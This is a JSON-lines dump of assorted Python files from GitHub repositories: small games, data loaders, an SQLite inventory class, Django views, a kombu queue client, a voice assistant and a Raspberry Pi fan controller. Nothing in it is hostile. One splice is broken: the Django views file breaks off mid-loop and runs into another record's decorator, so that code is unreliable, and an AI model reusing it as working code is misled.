== 'да':\n rand_num = random.randint(1, 100)\n else:\n break\n else:\n print('А может быть все-таки введем целое число от 1 до 100?')\n\nprint('Спасибо, что играли в числовую угадайку. Еще увидимся...')\n","repo_name":"husanpy/hello-world","sub_path":"guess_num.py","file_name":"guess_num.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"70446641060","text":"#this is a utility file that allows us to perform simple tasks such as I/O, disk writing etc\n#we use a pickle object. This is like, just preserving a Python object in your disk.\n\n#python3 -m pip instal pickle\n\nimport pickle\nimport os\n\n\ndef save_file(path, object):\n try:\n with open(path, \"wb\") as fp:\n pickle.dump(object, fp)\n except Exception as err:\n print(\"pickle error: \", str(err))\n\ndef load_file(path):\n try:\n with open(path, \"rb\") as fp:\n file = pickle.load(fp)\n return file\n except Exception as err:\n print(\"load error: \", err)\n \n\ndef check_file_exists(path):\n try:\n if os.path.isfile(path):\n return True\n else: \n return False\n except Exception as err:\n print(\"Checking error: \", err)\n ","repo_name":"BorderCollieLover/Quant","sub_path":"quantlib/general_utils.py","file_name":"general_utils.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"30555804916","text":"import numpy as np\nfrom abc import abstractmethod, ABCMeta\n\nfrom nltk.corpus import reuters\nfrom sklearn.datasets import fetch_20newsgroups\n\n\nclass Data:\n def __init__(self, train, train_ctg, test, test_ctg):\n self.train = train\n self.train_ctg = train_ctg\n self.test = test\n self.test_ctg = test_ctg\n\n\nclass DataProvider(metaclass=ABCMeta):\n @abstractmethod\n def get_data(self, start_index=0, end_index=-1):\n pass\n\n @staticmethod\n def get_data_provider(data_provider: str):\n data_provider = data_provider.strip().lower()\n if data_provider == 'reuters': return ReutersDataProvider()\n if data_provider == 'newsgroups': return NewsgroupsDataProvider()\n\n raise Exception(\"data_provider is not specified correctly\")\n\n\nclass ReutersDataProvider(DataProvider):\n def get_data(self, start_index=0, end_index=-1):\n ctgs = reuters.categories()[start_index:end_index]\n\n train, train_ctg = [], []\n test, test_ctg = [], []\n for category in ctgs:\n fields = reuters.fileids(categories=[category])\n for doc_id in fields:\n if doc_id.startswith('train'):\n train = train + [reuters.raw(doc_id)]\n train_ctg = train_ctg + [category]\n if doc_id.startswith('test'):\n test = test + [reuters.raw(doc_id)]\n test_ctg = test_ctg + [category]\n\n return Data(train, np.array(train_ctg), test, np.array(test_ctg))\n\n\nclass NewsgroupsDataProvider(DataProvider):\n remove = None # ('headers', 'footers', 'quotes')\n\n def get_data(self, start_index=0, end_index=-1):\n train = fetch_20newsgroups(subset='train')\n test = fetch_20newsgroups(subset='test')\n\n return Data(train.data, train.target, test.data, test.target)\n","repo_name":"markomih/document-classification","sub_path":"project/src/data_provider.py","file_name":"data_provider.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"33302203453","text":"import sqlite3\n\n\nclass Database(object):\n __DB_NAME = \"liquorBar.db\"\n\n def __init__(self, path=\"liquorBar.db\",\n conn=None, placeholder='?',\n new=False, dummy=False):\n \"\"\"\n :param path: physical location of database\n :param conn: override default sqlite3 connection if not None\n :param placeholder: symbol used for safe parameter substitution\n :param new: create recipes and shelf tables if new is True\n :param dummy: add dummy tag to db name for testing purposes if dummy is True\n \"\"\"\n self.__DB_NAME = path if not dummy else path + \"_dummy\"\n self.conn = conn if conn is not None else sqlite3.connect(self.__DB_NAME)\n self.cur = self.conn.cursor()\n self.ph = placeholder\n if new:\n self.__createTableRecipes()\n self.__createTableShelf()\n\n def __del__(self):\n try:\n self.conn.close()\n except Exception:\n pass\n\n def __createTableShelf(self):\n self.cur.execute('''CREATE TABLE IF NOT EXISTS SHELF\n (ID INTEGER,\n NAME TEXT NOT NULL,\n QTY INTEGER NOT NULL,\n PRIMARY KEY(ID));''')\n self.conn.commit()\n\n def __createTableRecipes(self):\n self.cur.execute('''CREATE TABLE IF NOT EXISTS RECIPES\n (ID INTEGER,\n NAME TEXT NOT NULL,\n PATH TEXT NOT NULL,\n INGR TEXT,\n PRIMARY KEY(ID));''')\n self.conn.commit()\n\n def close(self):\n self.conn.close()\n\n #\n # Recipe related\n #\n\n def isRecipeNameExists(self, cocktail_name):\n query = f\"SELECT NAME FROM RECIPES WHERE NAME={self.ph}\"\n name = self.cur.execute(query, (cocktail_name,))\n return True if name.fetchone() else None\n\n def isRecipePathExists(self, cocktail_path):\n query = f\"SELECT PATH FROM RECIPES WHERE PATH={self.ph}\"\n path = self.cur.execute(query, (cocktail_path,))\n return True if path.fetchone() else None\n\n def getRecipePath(self, cocktail_name):\n query = f\"SELECT PATH FROM RECIPES WHERE NAME={self.ph}\"\n path = self.cur.execute(query, (cocktail_name,)).fetchone()\n return path[0] if path else None\n\n def getRecipes(self):\n return self.cur.execute(\"SELECT ID, NAME, INGR, PATH FROM RECIPES\").fetchall()\n\n def getRecipeById(self, recipe_id):\n query = f\"SELECT ID, NAME, INGR, PATH FROM RECIPES WHERE ID={self.ph}\"\n return self.cur.execute(query, (recipe_id,)).fetchone()\n\n def addNewRecipe(self, cocktail_name, cocktail_path, cocktail_ingr=None):\n if self.isRecipeNameExists(cocktail_name):\n err = f'Cannot add to database. Cocktail with name {cocktail_name} already exists.'\n raise DatabaseError(err)\n if self.isRecipePathExists(cocktail_path):\n err = f'Cannot add to database. Cocktail with path {cocktail_path} already exists.'\n raise DatabaseError(err)\n if not cocktail_ingr:\n query = f\"INSERT INTO RECIPES (NAME,PATH) VALUES ({self.ph}, {self.ph})\"\n self.cur.execute(query, (cocktail_name, cocktail_path))\n else:\n query = f\"INSERT INTO RECIPES (NAME,PATH,INGR) VALUES ({self.ph}, {self.ph}, {self.ph})\"\n self.cur.execute(query, (cocktail_name, cocktail_path, cocktail_ingr))\n self.conn.commit()\n\n def deleteRecipe(self, cocktail_name):\n if not self.isRecipeNameExists(cocktail_name):\n err = f\"Cannot remove from database. Cocktail with name {cocktail_name} does not exists.\"\n raise DatabaseError(err)\n query = f\"DELETE FROM RECIPES WHERE NAME={self.ph}\"\n self.cur.execute(query, (cocktail_name,))\n self.conn.commit()\n\n #\n # Shelf related\n #\n\n def isBottleOnShelf(self, bottle_name):\n query = f\"SELECT NAME FROM SHELF WHERE NAME={self.ph}\"\n name = self.cur.execute(query, (bottle_name,))\n return True if name.fetchone() else None\n\n def getBottleQty(self, bottle_name):\n query = f\"SELECT QTY FROM SHELF WHERE NAME={self.ph}\"\n qty = self.cur.execute(query, (bottle_name,)).fetchone()\n return qty[0] if qty else 0\n\n def getBottles(self):\n return self.cur.execute(\"SELECT NAME, QTY FROM SHELF\").fetchall()\n\n def addNewBottle(self, bottle_name, bottle_qty):\n if self.isBottleOnShelf(bottle_name):\n err = f'Cannot add to database. Bottle with name {bottle_name} already exists.'\n raise DatabaseError(err)\n query = f\"INSERT INTO SHELF (NAME, QTY) VALUES ({self.ph}, {self.ph})\"\n self.cur.execute(query, (bottle_name, bottle_qty))\n self.conn.commit()\n\n def updateBottleQty(self, bottle_name, qty):\n if not self.isBottleOnShelf(bottle_name):\n err = f\"Cannot update database. Bottle with name {bottle_name} does not exists.\"\n raise DatabaseError(err)\n bottle_qty = self.getBottleQty(bottle_name) + qty\n query = f\"UPDATE SHELF SET QTY=? WHERE NAME={self.ph}\"\n self.cur.execute(query, (bottle_qty, bottle_name))\n self.conn.commit()\n\n def deleteBottle(self, bottle_name):\n if not self.isBottleOnShelf(bottle_name):\n err = f\"Cannot remove from database. Shelf does not contains {bottle_name}.\"\n raise DatabaseError(err)\n query = f\"DELETE FROM SHELF WHERE NAME={self.ph}\"\n self.cur.execute(query, (bottle_name,))\n self.conn.commit()\n\n\nclass DatabaseError(Exception):\n def __init__(self, *args):\n if args:\n self.message = args[0]\n else:\n self.message = None\n\n def __str__(self):\n if self.message:\n return f'DatabaseError, {self.message}'\n else:\n return f'DatabaseError has ben raised.'\n","repo_name":"docppp/FullLiqaBar","sub_path":"barmanshell/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":5978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"19075288414","text":"class Pair:\n def __init__(self, x=0, y=0):\n self.x = x\n self.y = y\n\n def __str__(self):\n return \"<%d, %d>\" % (self.x, self.y)\n\n def __add__(self, other):\n x = self.x + other.x\n y = self.y + other.y\n return Pair(x, y)\n\n def __mul__(self, other):\n x = self.x * other.x\n y = self.y * other.y\n return Pair(x, y)\n\n def __truediv__(self, other):\n x = self.x * self.y - other.x * other.y\n y = self.x * other.x - self.y * other.y\n return Pair(x, y)\n\n\ndef main():\n p1 = Pair(3, 2)\n p2 = Pair(1, 5)\n p3 = Pair(4, 3)\n\n print(\"p1:\", p1)\n print(\"p2:\", p2)\n print(\"p3:\", p3)\n\n print(p1 + p2)\n print(p1 * p2)\n print(p1 / p2)\n print(p1 + p2 * p3)\n print(p1 * p2 / p3 + p1)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ItzUzi/Python-assignments","sub_path":"Projects/Project5/Task_1.py","file_name":"Task_1.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"28423853524","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 10 23:04:32 2019\n\n@author: Manoj Sree Harsha\n\"\"\"\nfrom transform import four_point_transform\nfrom skimage.filters import threshold_local\nimport cv2\nimport imutils\n\nimage = cv2.imread(\"doc.jpg\")\nratio = image.shape[0]/500.0\norig = image.copy()\nimage = imutils.resize(image, height=500)\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\ngray = cv2.GaussianBlur(gray, (5, 5), 0)\nedged = cv2.Canny(gray, 75, 200)\ncnts = cv2.findContours(edged.copy(), cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\ncnts = imutils.grab_contours(cnts)\n#sorting contours by area and finding the max one.\ncnts = sorted(cnts, key = cv2.contourArea, reverse = True)[:5]\n # loop over the contours\nfor c in cnts:\n\t# approximate the contour\n\tperi = cv2.arcLength(c, True)\n\tapprox = cv2.approxPolyDP(c, 0.02 * peri, True)\n \n\t# if our approximated contour has four points, then we\n\t# can assume that we have found our screen\n\tif len(approx) == 4:\n\t\tscreenCnt = approx\n\t\tbreak\ncv2.drawContours(image, [screenCnt], -1, (0, 255, 0), 2)\nwarped = four_point_transform(orig, screenCnt.reshape(4, 2) * ratio)\nwarped = cv2.cvtColor(warped, cv2.COLOR_BGR2GRAY)\nT = threshold_local(warped, 11, offset = 10, method = \"gaussian\")\nwarped = (warped > T).astype(\"uint8\") * 255\ncv2.imshow(\"Original\", imutils.resize(orig, height = 650))\ncv2.imshow(\"Scanned\", imutils.resize(warped, height = 650))\ncv2.waitKey(0)","repo_name":"msharsha/DocumentScanner","sub_path":"scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"7357893243","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport sqlite3\n\nfrom django.shortcuts import render\nimport os\nimport uuid\nfrom . import excel2json\nfrom django.conf import settings\n# Create your views here.\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import loader\nfrom .models import sharePrice\nfrom django.http import Http404\nfrom django.shortcuts import get_object_or_404, render\nfrom django.urls import reverse\nfrom django.views import generic\nimport json\nfrom django.core import serializers\nfrom .db import db_query, insertdate, insertcompany, db_insert, db_delete, db_deleteid,returndbdate,insertdbdate,date_db_insert\nfrom .forms import addCompanyData, compareCompany, deleteCompanyData, deleteCompanyidData, deleteCompanyidbatchData\nfrom django.views.decorators.csrf import csrf_exempt, csrf_protect\n\nstatic_path = '/Users/yefei/Documents/shopee/Python/website/mysite/polls/static'\nsqlite3_path = '/Users/yefei/Documents/shopee/Python/website/mysite/db.sqlite3'\n\ndef index(request):\n company_list = sharePrice.objects.all()\n print(f\"all company_list:{company_list}\")\n # time.strftime('%Y-%m-%d', time.strptime(\"30 Nov 17\", \"%d %b %y\"))\n data = serializers.serialize(\"json\", company_list)\n print(f\"all json company_list:{data}\")\n companylist = db_query(sqlite3_path, 'invest_sharePrice', \"*\")\n print(f\"companylist:{companylist}\")\n print('index 方法')\n context = {\n #'company_list': json.dumps(company_list),\n 'company_list': data,\n 'companylist': companylist,\n }\n return render(request, 'invest/index.html', context)\n\ndef dataoperation(request):\n print(\"dataoperation 方法\")\n company_list = sharePrice.objects.all()\n # time.strftime('%Y-%m-%d', time.strptime(\"30 Nov 17\", \"%d %b %y\"))\n data = serializers.serialize(\"json\", company_list)\n companylist = db_query(sqlite3_path, 'invest_sharePrice', \"*\")\n context = {\n #'company_list': json.dumps(company_list),\n 'company_list': data,\n 'companylist': companylist,\n }\n return render(request, 'invest/data.html', context)\n\ndef insert(request):\n print(\"insert 方法\")\n # if this is a POST request we need to process the form data\n if request.method == 'POST':\n # create a form instance and populate it with data from the request:\n form = addCompanyData(request.POST)\n \n # check whether it's valid:\n if form.is_valid():\n # process the data in form.cleaned_data as required\n # ...\n # redirect to a new URL:\n # return HttpResponseRedirect('/index/')\n company = form.cleaned_data['company']\n date = form.cleaned_data['date']\n price = form.cleaned_data['companyprice']\n data = []\n table = 'invest_sharePrice'\n dbdatetable = 'invest_datedb'\n path = sqlite3_path\n db_insert(path, table, company, date, price)\n date_db_insert(path, dbdatetable, date)\n company_list = sharePrice.objects.all()\n # time.strftime('%Y-%m-%d', time.strptime(\"30 Nov 17\", \"%d %b %y\"))\n data = serializers.serialize(\"json\", company_list)\n companylist = db_query(sqlite3_path, 'invest_sharePrice', \"*\")\n context = {\n #'company_list': json.dumps(company_list),\n 'company_list': data,\n 'companylist': companylist,\n }\n return render(request, 'invest/index.html', context)\n\n # if a GET (or any other method) we'll create a blank form\n else:\n form = addCompanyData()\n\n return render(request, 'invest/index.html', {'form': form})\n\n\ndef delete(request):\n print(\"delete 方法\")\n # if this is a POST request we need to process the form data\n if request.method == 'POST':\n # create a form instance and populate it with data from the request:\n form = deleteCompanyData(request.POST)\n \n # check whether it's valid:\n if form.is_valid():\n # process the data in form.cleaned_data as required\n # ...\n # redirect to a new URL:\n # return HttpResponseRedirect('/index/')\n company = form.cleaned_data['company']\n date = form.cleaned_data['date']\n data = []\n table = 'invest_sharePrice'\n path = sqlite3_path\n db_delete(path, table, company, date)\n company_list = sharePrice.objects.all()\n # time.strftime('%Y-%m-%d', time.strptime(\"30 Nov 17\", \"%d %b %y\"))\n data = serializers.serialize(\"json\", company_list)\n companylist = db_query(sqlite3_path, 'invest_sharePrice', \"*\")\n context = {\n #'company_list': json.dumps(company_list),\n 'company_list': data,\n 'companylist': companylist,\n }\n return render(request, 'invest/index.html', context)\n\n # if a GET (or any other method) we'll create a blank form\n else:\n form = deleteCompanyData()\n\n return render(request, 'invest/index.html', {'form': form})\n\ndef deleteid(request):\n print(\"deleteid 方法\")\n # if this is a POST request we need to process the form data\n if request.method == 'POST':\n # create a form instance and populate it with data from the request:\n form = deleteCompanyidData(request.POST)\n \n # check whether it's valid:\n if form.is_valid():\n # process the data in form.cleaned_data as required\n # ...\n # redirect to a new URL:\n # return HttpResponseRedirect('/index/')\n companyid = form.cleaned_data['companyid']\n data = []\n table = 'invest_sharePrice'\n path = sqlite3_path\n db_deleteid(path, table, companyid)\n company_list = sharePrice.objects.all()\n # time.strftime('%Y-%m-%d', time.strptime(\"30 Nov 17\", \"%d %b %y\"))\n data = serializers.serialize(\"json\", company_list)\n companylist = db_query(sqlite3_path, 'invest_sharePrice', \"*\")\n context = {\n #'company_list': json.dumps(company_list),\n 'company_list': data,\n 'companylist': companylist,\n }\n return render(request, 'invest/index.html', context)\n\n # if a GET (or any other method) we'll create a blank form\n else:\n form = deleteCompanyidData()\n\n return render(request, 'invest/index.html', {'form': form})\n\ndef deleteidbatch(request):\n print(\"deleteidbatch 方法\")\n # if this is a POST request we need to process the form data\n if request.method == 'POST':\n # create a form instance and populate it with data from the request:\n form = deleteCompanyidbatchData(request.POST)\n \n # check whether it's valid:\n if form.is_valid():\n # process the data in form.cleaned_data as required\n # ...\n # redirect to a new URL:\n # return HttpResponseRedirect('/index/')\n companyid = form.cleaned_data['companyidbatch']\n data = []\n table = 'invest_sharePrice'\n path = sqlite3_path\n i = 0\n while(i Administrator:\n \"\"\"\n # 관리자 계정 인증\n \"\"\"\n\n def decorator(func):\n @wraps(func)\n def wrapper(request, *args, **kwargs):\n authorization_token = request.headers.get(\"Authorization\", None)\n\n try:\n administrator = Administrator.objects.get(\n authorization_token=authorization_token\n )\n\n request.administrator = administrator\n except Administrator.DoesNotExist:\n return response.JoodaResponse.warning_response(\n request, enums.ErrorCode.FORBIDDEN\n )\n except Exception as e:\n return response.JoodaResponse.error_response(request, error=e)\n\n return func(request, *args, **kwargs)\n\n return wrapper\n\n return decorator\n","repo_name":"myeonginjin/api.jooda.org","sub_path":"api.jooda.com-main/repo/common/decorators/administrator_authorization.py","file_name":"administrator_authorization.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"23022341591","text":"plants_dict = {\n \"V\": \"Violets\",\n \"R\": \"Radishes\",\n \"C\": \"Clover\",\n \"G\": \"Grass\"\n}\nclass Garden:\n def __init__(self, diagram, students = [\"Alice\", \"Bob\", \"Charlie\", \"David\",\n \"Eve\", \"Fred\", \"Ginny\", \"Harriet\",\n \"Ileana\", \"Joseph\", \"Kincaid\", \"Larry\"]):\n self.students = sorted(students)\n self.garden = diagram.split(\"\\n\")\n def plants(self, student):\n pos = self.students.index(student)\n plants_rows = [i[pos*2:pos*2+2] for i in self.garden]\n return [plants_dict[letter] for row in plants_rows for letter in row]\n \nprint(Garden(\"VVCG\\nVVRC\").plants(\"Bob\"))","repo_name":"matiasp95/exercism-exercises","sub_path":"Exercises/kindergarten_garden.py","file_name":"kindergarten_garden.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"8157014234","text":"from configs import *\r\nimport speech_recognition as sr\r\nfrom random import choice\r\nimport pyttsx3\r\nimport datetime\r\nimport sys\r\nfrom time import sleep as wait\r\nimport webbrowser as wb\r\n\r\ndef intro():\r\n print('=============================================================================================')\r\n print('= version: ' + version, ' ' + name, 'assistant' ' made by' + creator, ' =')\r\n print('=============================================================================================')\r\n frase_intro = ('{} assistente, versão {} feito por {}'.format(name_to_talk, version, creator_to_talk) )\r\n say(frase_intro)\r\n start()\r\n\r\ndef restart():\r\n print('.')\r\n wait(0.2)\r\n start()\r\n\r\ndef desligar():\r\n sys.exit()\r\n\r\ndef reboot():\r\n wait(0.2)\r\n intro()\r\n\r\ndef say(tosay):\r\n engine = pyttsx3.init()\r\n engine.say(tosay)\r\n engine.runAndWait()\r\n\r\n\r\ndef start():\r\n while True:\r\n r = sr.Recognizer()\r\n with sr.Microphone() as fonte:\r\n print('ouvindo...')\r\n audio = r.listen(fonte)\r\n textc = r.recognize_google(audio, language='pt-br') \r\n text = textc.lower()\r\n print(text)\r\n try:\r\n engine = pyttsx3.init()\r\n #função boas vindas\r\n if text == str(name): #esse ouve o próprio nome dela e responde com um bom dia ou algo do tipo\r\n msg_boas_vindas = choice(l_boas_vindas)\r\n say(msg_boas_vindas)\r\n \r\n #função tocar música\r\n elif 'playlist' in text:#abre a playlist de muscia do usuário, pre definida em \"configs\"\r\n wb.open(playlist, new=2)\r\n \r\n #função dia\r\n elif 'dia' in text: #fala o dia\r\n print(dia)\r\n say(dia)\r\n\r\n #função horas\r\n elif 'horas' in text: #fala as horas\r\n print(hr)\r\n say(hr)\r\n\r\n\t\t\t #função piadas\r\n elif 'piada' in text: # lança a braba\r\n joke = (choice(l_piadas))\r\n joke = choice(l_piadas)\r\n print (joke)\r\n say(joke)\r\n\r\n #função desligar\r\n elif 'desligar' in text: #desliga o sistema\r\n desligando = str('desligando em 3, 2, 1')\r\n print (desligando)\r\n engine.say(desligando)\r\n engine.runAndWait()\r\n desligar()\r\n\r\n #função reiniciar\r\n elif 'reiniciar' in text: #reinicia o sistema\r\n reiniciando = str('reiniciando em 3, 2, 1')\r\n print (reiniciando)\r\n engine.say(reiniciando)\r\n engine.runAndWait()\r\n reboot()\r\n\r\n elif 'fale' in text:\r\n texto_falar = text.replace('fale', '')\r\n say(texto_falar)\r\n\r\n elif 'pesquis' in text:\r\n site_pesquisar = text.replace('pesquis', '')\r\n say('pesquisando ' + site_pesquisar)\r\n wb.open('https://www.google.com/search?client=opera-gx&hs=5GZ&sxsrf=ALeKk02LWQxX_lhfnlTF6lCi_LYm0x5kqg%3A1601686367378&ei=X8t3X_LeFpPA5OUP0e6-WA&q={}&oq={}&gs_lcp=CgZwc3ktYWIQAzIHCAAQChDLATIECAAQHjoHCCMQ6gIQJzoECCMQJzoFCAAQsQM6CAguELEDEIMBOgIIADoFCC4QsQM6BAgAEAo6BggAEAoQHlD_EVjVH2COImgBcAB4AIABsgKIAdMJkgEHMC41LjAuMZgBAKABAaoBB2d3cy13aXqwAQrAAQE&sclient=psy-ab&ved=0ahUKEwiyiuDXmpfsAhUTILkGHVG3DwsQ4dUDCAw&uact=5'.format(site_pesquisar, site_pesquisar), new=2)\r\n \r\n elif text not in comandos:\r\n restart()\r\n except:\r\n restart()\r\nintro()\r\n","repo_name":"jvadebossan/EVA-Editable-Virtual-Assistant","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"33952424908","text":"from kombu import Connection\nfrom kombu import Exchange, Queue, pools\nfrom microservices.utils import get_logger\nfrom microservices.helpers.logs import InstanceLogger\nimport six\n\n_logger = get_logger(__file__)\n\n\nclass _exchange(object):\n \"\"\"Exchange helper\"\"\"\n\n def __init__(self, client, name, routing_key=None, logger=None):\n \"\"\"Initialization\n\n :param client: instance of client\n :type client: Client\n :param name: name of exchange\n :type name: str\n :param routing_key: routing key to queue\n :type routing_key: str or None\n \"\"\"\n self.client = client\n self.name = name\n self.routing_key = routing_key\n if logger is None:\n logger = _logger # pragma: no cover\n self.logger = logger\n self.logger.debug('Exchange \"%s\" built, routing_key: %s', self.name,\n self.routing_key if not self.routing_key is None else '')\n\n def publish(self, message, routing_key=None):\n \"\"\"Publish message to exchange\n\n :param message: message for publishing\n :type message: any serializable object\n :param routing_key: routing key for queue\n :return: None\n \"\"\"\n if routing_key is None:\n routing_key = self.routing_key\n return self.client.publish_to_exchange(self.name, message=message, routing_key=routing_key)\n\n\nclass _queue(object):\n \"\"\"Queue helper\"\"\"\n\n def __init__(self, client, name, logger=None):\n \"\"\"Initialization\n\n :param client: instance of client\n :type client: Client\n :param name: name of queue\n :type name: str\n \"\"\"\n self.client = client\n self.name = name\n if logger is None:\n logger = _logger # pragma: no cover\n self.logger = logger\n self.logger.debug('Queue \"%s\" built', self.name)\n\n def publish(self, message):\n \"\"\"Publish message to queue\n\n :param message: message for publishing\n :type message: any serializable object\n :return: None\n \"\"\"\n return self.client.publish_to_queue(self.name, message=message)\n\n\n@six.python_2_unicode_compatible\nclass Client(object):\n \"\"\"Client for queue brokers, kombu based\"\"\"\n\n default_connection = 'amqp:///'\n\n def __init__(self, connection='amqp:///', name=None, logger=None, limit=None):\n \"\"\"Initialization of Client instance\n\n :param connection: connection for broker\n :type connection: str, None, kombu.connections.Connection, dict\n \"\"\"\n\n self.connection = self._get_connection(connection)\n self.exchanges = {}\n\n if name is None:\n try:\n name = ''.format(self.connection.as_uri())\n except: # pragma: no cover\n # Errors with filesystem transport\n name = ''.format(self.connection.transport_cls)\n\n if logger is None:\n logger = get_logger(__name__)\n\n self.logger = InstanceLogger(self, logger)\n\n self.name = name\n self.logger.debug('%s built', self.name)\n\n if limit is None:\n # Set limit as global kombu limit.\n limit = pools.get_limit()\n self.limit = limit\n self.connections = pools.Connections(self.limit)\n\n\n def __str__(self):\n return self.name\n\n def _get_connection(self, connection):\n \"\"\"Create connection strategy\n\n :param connection: connection for broker\n :type connection: str, None, kombu.connections.Connection, dict\n :return: instance of kombu.connections.Connection\n :rtype: Connection\n \"\"\"\n\n if not connection:\n connection = self.default_connection # pragma: no cover\n\n if isinstance(connection, str):\n connection = {'hostname': connection}\n\n if isinstance(connection, dict):\n connection = Connection(**connection)\n\n return connection\n\n def declare_exchange(self, name, type='direct', queues=None, **options):\n \"\"\"Create or update exchange\n\n :param name: name of exchange\n :type name: str\n :param type: type of exchange - direct, fanout, topic, match\n :type type: str\n :param queues: list of queues with routing keys: [[queue_name, routing_key], [queue_name, routing_key], ...]\n :type queues: list, None or tuple\n :param options: additional options for Exchange creation\n \"\"\"\n if queues is None:\n queues = [] # pragma: no cover\n\n with self.connections[self.connection].acquire() as conn:\n exchange = Exchange(name, type=type, channel=conn, **options)\n exchange.declare()\n self.exchanges[name] = exchange\n for q_name, routing_key in queues:\n queue = Queue(name=q_name, channel=conn)\n queue.declare()\n queue.bind_to(exchange=name, routing_key=routing_key)\n self.logger.debug('Queue \"%s\" with routing_key \"%s\" was bond to exchange \"%s\"', q_name,\n routing_key if routing_key else q_name, name)\n\n def delete_exchange(self, name):\n \"\"\"Delete exchange by name\n\n :param name: name of exchange\n :type name: str\n \"\"\"\n with self.connections[self.connection].acquire() as conn:\n exchange = self.exchanges.pop(name, Exchange(name, channel=conn))\n exchange.delete()\n self.logger.debug('Exchange \"%s\" was deleted', name)\n\n def purge_queue(self, name):\n \"\"\"Remove all messages from queue\n\n :param name: name of queue\n :type name: str\n \"\"\"\n connections = pools.Connections(self.limit)\n with connections[self.connection].acquire() as conn:\n Queue(name=name, channel=conn).purge()\n self.logger.debug('Queue \"%s\" was purged', name)\n\n def delete_queue(self, name):\n \"\"\"Delete queue by name\n\n :param name: name of queue\n :type name: str\n \"\"\"\n with self.connections[self.connection].acquire() as conn:\n Queue(name=name, channel=conn).delete()\n self.logger.debug('Queue \"%s\" was deleted', name)\n\n def exchange(self, name, routing_key=None):\n \"\"\"Create exchange instance for simple publishing\n\n :param name: name of exchange\n :type name: str\n :param routing_key: routing key\n :type routing_key: str\n :return: _exchange\n \"\"\"\n return _exchange(self, name, routing_key=routing_key, logger=self.logger)\n\n def queue(self, name):\n \"\"\"Create queue instance for simple publishing\n\n :param name: name of queue\n :type name: str\n :return: _queue\n \"\"\"\n return _queue(self, name, logger=self.logger)\n\n def publish_to_exchange(self, name, routing_key, message, **properties):\n \"\"\"Publish message to exchange\n\n :param name: name of exchange\n :type name: str\n :param routing_key: routing key\n :type routing_key: str\n :param message: payload for publishing\n :type message: any serializable object\n :param properties: additional properties for Producer.publish()\n \"\"\"\n with self.connections[self.connection].acquire() as conn:\n producer = conn.Producer()\n result = producer.publish(message, exchange=self.exchanges[name], routing_key=routing_key, **properties)\n self.logger.info('Message (len: %s) was published to exchange \"%s\" with routing_key \"%s\"', len(message),\n name,\n routing_key if routing_key else '')\n return result\n\n def publish_to_queue(self, name, message, **properties):\n \"\"\"Publish message to queue\n\n :param name: name of queue\n :type name: str\n :param message: payload for publishing\n :type message: any serializable object\n :param properties: additional properties for Producer publish\n \"\"\"\n with self.connections[self.connection].acquire() as conn:\n producer = conn.Producer()\n result = producer.publish(message, routing_key=name, **properties)\n self.logger.info('Message (len: %s) was published to queue \"%s\"', len(message), name)\n return result\n","repo_name":"viatoriche/microservices","sub_path":"microservices/queues/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":8369,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"35"} +{"seq_id":"19869467873","text":"# This is script to run the FAN control on my raspberry pi cluster. \n# It uses the data from prometheus from the each of the PIs to adjust the fan speed based on which Pi is running hottest. \n# I have this script running on the raspberry PI on which the FAN is connected. \n# I'm using a Noctua FAN with speed control. It's amazing how good and quiet it is. \n# I then proceeded to create a fan_control.service for it to run at boot.\n# Again, for this to work, prometheus needs to be installed on each of the PIs as well the controller on the main PI to which the FAN is connected to. \n# As I installed grafana on it, it was a no brainer to use that data for this project. \n\nimport RPi.GPIO as GPIO\nimport time\nimport os\nimport requests\nfrom influxdb import InfluxDBClient\n\nFAN_PIN = 12\nTACHO_PIN = 16\nPWM_FREQ = 25000\nMIN_TEMP = 35\nMAX_TEMP = 50\nMIN_SPEED = 0\nMAX_SPEED = 100\n\n# Add the IP addresses of the other Raspberry Pi devices in the cluster\ncluster_ips = [\"IP 1\", \"IP 2\", \"IP 3\", \"IP 4\"]\n\ndef get_cpu_temp():\n with open(\"/sys/class/thermal/thermal_zone0/temp\", \"r\") as f:\n temp = int(f.read()) / 1000\n return temp\n\ndef get_remote_temp(ip):\n try:\n response = requests.get(f\"http://{ip}:9100/metrics\", timeout=5)\n for line in response.text.splitlines():\n if line.startswith(\"node_hwmon_temp_celsius\"):\n temp = float(line.split()[-1])\n return temp\n except Exception as e:\n print(f\"Error getting temperature from {ip}: {e}\")\n return None\n\ndef get_cluster_temps():\n temps = [get_cpu_temp()]\n for ip in cluster_ips:\n remote_temp = get_remote_temp(ip)\n if remote_temp is not None:\n temps.append(remote_temp)\n return temps\n\ndef calculate_fan_speed(temps):\n max_temp = max(temps)\n if max_temp < MIN_TEMP:\n return 0\n elif max_temp > MAX_TEMP:\n return 100\n else:\n return int((max_temp - MIN_TEMP) / (MAX_TEMP - MIN_TEMP) * (MAX_SPEED - MIN_SPEED) + 